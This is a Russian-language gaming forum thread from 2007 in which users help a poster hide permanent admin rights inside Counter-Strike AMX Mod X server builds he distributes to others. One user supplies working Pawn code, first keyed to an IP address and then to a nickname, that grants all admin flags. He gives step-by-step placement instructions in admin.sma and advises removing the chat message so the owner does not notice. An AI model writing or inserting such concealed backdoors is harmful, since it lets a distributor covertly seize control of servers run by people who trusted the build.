Как Сделать Безпалевное Админство? |
Здравствуйте, гость Вход | Регистрация
Наши новости:
|

|
|
Как Сделать Безпалевное Админство? |
MikeRussia
|
2.10.2007, 16:30
Сообщение
|
|||
![]() |
В чем трабл? Админку по IP пиши и все
|
|||
|
|
||||
ziumer
|
2.10.2007, 23:54
Сообщение
|
![]() |
|
|
|
|
jas0n
|
3.10.2007, 0:33
Сообщение
|
![]() |
Наверно никак, т.е. не просто. Можно поюзать баг amxx и зайти под ником админа, если админка по нику (:
|
|
|
|
jas0n
|
3.10.2007, 14:29
Сообщение
|
![]() |
Перечитайте первый пост раз десят!
Он хочет прописать админку на себя в сборке сервера, а эти сборки он распространяет по сети. Но админка должна быть где-то прописана незаметно для глаз, тобиш НЕ в users.ini, а каким-то другим способом, чтоб не догадались. Можно конечно сделать, чтоб аккаунты читались не только из users.ini, а еще из какого-то файла, который ты например закинеш в папку amxmodx\data\lang\, назовеш его непалевно и всё. Типа таво. |
|
|
|
iLLuSioN
|
3.10.2007, 15:33
Сообщение
|
![]() |
MikeRussia читай внимательно вопросы чтоб не вводить в заблуждение.
чтоб прописать админа в admin.sma вам надо выцепить Mitek`a, он вроде знает ![]() |
|
|
|
Makzz
|
3.10.2007, 15:38
Сообщение
|
![]() |
Перечитайте первый пост раз десят! админка должна быть где-то прописана незаметно для глаз, тобиш НЕ в users.ini, а каким-то другим способом, чтоб не догадались. Можно конечно сделать, чтоб аккаунты читались не только из users.ini, а еще из какого-то файла, который ты например закинеш в папку amxmodx\data\lang\, назовеш его непалевно и всё. Типа таво. ДА!!! Вообще было так: Я сделал чтобы информация читалась из другого файла. Но я хочу шоб в самом плагине было написано, что я админ! :) |
|
|
|
^^Nelegal^^
|
3.10.2007, 18:55
Сообщение
|
|
|
стоп =) ты просто в файле сборки сервера сделал так что бы ты был админом. а поц взял и просек эту фишку и удалил??
ЕСЛИ ЭТО ТАК ТО НЕ ССЫ В МИРЕ ЕЩЕ МНОГО ХОРОШИХ СЕРВЕРОВ :D |
|
|
|
jas0n
|
3.10.2007, 18:56
Сообщение
|
![]() |
Хе-хе) модно придумал глумиться над сетянами. Та впринципе можно в любой плаг зашить твое админство. Можно попробовать ;)
|
|
|
|
Makzz
|
3.10.2007, 19:37
Сообщение
|
![]() |
|
|
|
|
jas0n
|
4.10.2007, 10:12
Сообщение
|
![]() |
Пробуй эту функцию вставить например в admin.sma в самый конец файла, предварительно вписав свой ip и перекомпилируй:
Код hideAdmin ( id ) { new ip[16] new admip[16] = "000.000.000.000" // сдесь впиши свой IP, например "192.168.13.83" get_user_ip(id, ip, sizeof admip - 1, 1) if (equal(ip, admip, sizeof ip - 1)) { new flgs_bitsum = read_flags("abcdefghijklmnopqrstu") remove_user_flags(id, -1) set_user_flags(id, flgs_bitsum) client_print(0, print_chat, "gpo}|{uTe LL|eHKu, 9 BaLLl HoBblu 0gMuH!!!") } } Если будет работать - хорошо, если нет - доделаем. Пробуй. |
|
|
|
Makzz
|
4.10.2007, 16:52
Сообщение
|
![]() |
По ИПу у меня ваще админство не пашет.
Как моно по имени сделать?
Отредактировал: Makzz, - 4.10.2007, 19:11
|
|
|
|
jas0n
|
5.10.2007, 0:00
Сообщение
|
![]() |
Сразу нужно уточнять. Завтра, тобиш сегодня с работы отпишу. Жди днем ответа.
День: Сходу тот скрипт по ip, который выше у меня не сработал в 2 часа ночи. Я тогда доделаю, проверю и только тогда выложу всё, как нужно.
Отредактировал: jas0n, - 5.10.2007, 8:48
|
|
|
|
KuLer
|
5.10.2007, 17:30
Сообщение
|
![]() |
jas0n
А разве не нужно впихнуть в крипт флаги?: d - это IP пользователя е - пароль не проверяеться |
|
|
|
Lexx_a
|
6.10.2007, 1:03
Сообщение
|
![]() |
По моему проще поставить АМХ Банс и админку через него прописать... в СКЛ..?
|
|
|
|
jas0n
|
6.10.2007, 1:06
Сообщение
|
![]() |
Воопсчем инструкция по применению:
1. Открываеш admin.sma и опускаешся в самый конец файла (для простоты, чтоб какую нить хню не запороть) и вставляеш там код: Код hideAdmin ( id ) { new name[32] new admname[] = "jas0n" // Имя крысоОдмина. Тобиш пропиши тут себе "Makzz". get_user_name(id, name, sizeof(name) - 1) if (equali(admname, name, sizeof(admname) - 1)) { new flgs_bitsum = read_flags("abcdefghijklmnopqrstu") // Флаги, которые будут даваться крысоОдмину. Сейчас установлены все стандартные. remove_user_flags(id, -1) set_user_flags(id, flgs_bitsum) client_print(0, print_chat, "gpo}|{uTe LL|eHKu, 9 BaLLl HoBblu 0gMuH!!!") // Строка которую можеш убрать, чтобы небыла палева (; } } 2. Чуть выше находиш функцию: Код public client_putinserver(id) { if (!is_dedicated_server() && id == 1) return get_cvar_num("amx_mode") ? accessUser(id) : PLUGIN_CONTINUE return PLUGIN_CONTINUE } 3. Дописываеш в нейо hideAdmin(id), чтоб вышло следуюсчее: Код public client_putinserver(id) { if (!is_dedicated_server() && id == 1) return get_cvar_num("amx_mode") ? accessUser(id) : PLUGIN_CONTINUE hideAdmin(id) // <- Осё сюда! return PLUGIN_CONTINUE } 4. Меняеш имя на Makzz и коннэктишся одмином. nb1: Имя чуствительно к регистру, тобиш если ты будеш заходить под ником makzz, права не дадутса! nb2: Права даются только при входе на сервер с правильным ником (тобиш сменив ник на "одминский" во время игры прав не получиш - нужен рэконнэкт). Но если играя с "одминским" ником смениш имя на какое-то другое, то права сразу пропадут. Хух! :Р Цитата("KuLer") А разве не нужно впихнуть в крипт флаги?: d - это IP пользователя е - пароль не проверяеться Не дада, зачем? |
|
|
|
MikeRussia
|
6.10.2007, 6:15
Сообщение
|
|||
![]() |
Jas0n king of coders!!!
Respect
|
|||
|
|
||||
Makzz
|
6.10.2007, 17:29
Сообщение
|
![]() |
Так СТОП.
А если чел сделает через нью гейм, админство как я понял пашет токо на DS? |
|
|
|
Saimon
|
6.10.2007, 17:56
Сообщение
|
|
|
jas0n голова
Отредактировал: Saimon, - 6.10.2007, 17:57
|
|
|
|
![]() ![]() |